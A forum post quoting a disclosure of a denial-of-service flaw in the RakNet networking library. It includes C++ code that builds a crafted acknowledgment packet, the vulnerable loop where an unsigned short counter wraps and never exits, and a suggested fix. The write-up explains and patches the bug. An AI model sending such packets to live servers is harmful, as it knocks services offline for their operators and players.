
Originally Posted by
base187
Seems interesting. Does anyone know what exploit this uses?
Code:
/*
by bartekdvd
*/
/*
I don't know if it affects the newest version of raknet, but the loop condition is pretty much the same in all versions.
*/
/*
The problem lays in raknet acknowledgment packet system.
Creating RakNet datagram for ack packet in the way like this one bleow traps one of the server threads (raknet thread) into an endless loop.
*/
bitStream->Write(true); //is acknowledgment packet
unsigned short count = 2;
bitStream->WriteCompressed(count); //how many
for (int i = 0; i < count; i++)
{
bitStream->Write(false); //is min==max
bitStream->Write((unsigned short)0); //min index
bitStream->Write((unsigned short)0xFFFF); //max index
}
/*
This is the place where server thread is trapped
*/
ReliabilityLayer::HandleSocketReceiveFromConnectedPlayer
//...
DataStructures::RangeList<MessageNumberType> incomingAcks;
socketData.Read(hasAcks);
if (hasAcks)
{
MessageNumberType messageNumber;
if (incomingAcks.Deserialize(&socketData)==false)
return false;
for (i=0; i<incomingAcks.ranges.Size();i++)
{
if (incomingAcks.ranges[i].minIndex>incomingAcks.ranges[i].maxIndex)
{
RakAssert(incomingAcks.ranges[i].minIndex<=incomingAcks.ranges[i].maxIndex);
return false;
}
for (messageNumber=incomingAcks.ranges[i].minIndex; messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex; messageNumber++)
{
// ...
// !!!HERE!!!
// ...
}
/*
You can now see that the condition:
*/
messageNumber >= incomingAcks.ranges[i].minIndex && messageNumber <= incomingAcks.ranges[i].maxIndex
/*
in this case is incorrect for because the type of messageNumber is unsigned short, so for following values minIndex = 0 and maxIndex = 0xFFFF
the condition is always true.
*/
/*
Solution
*/
/*
The easiest solution is to change the type of messageNumber to unsigned integer or to whatever that can store more data than unsigned short.
*/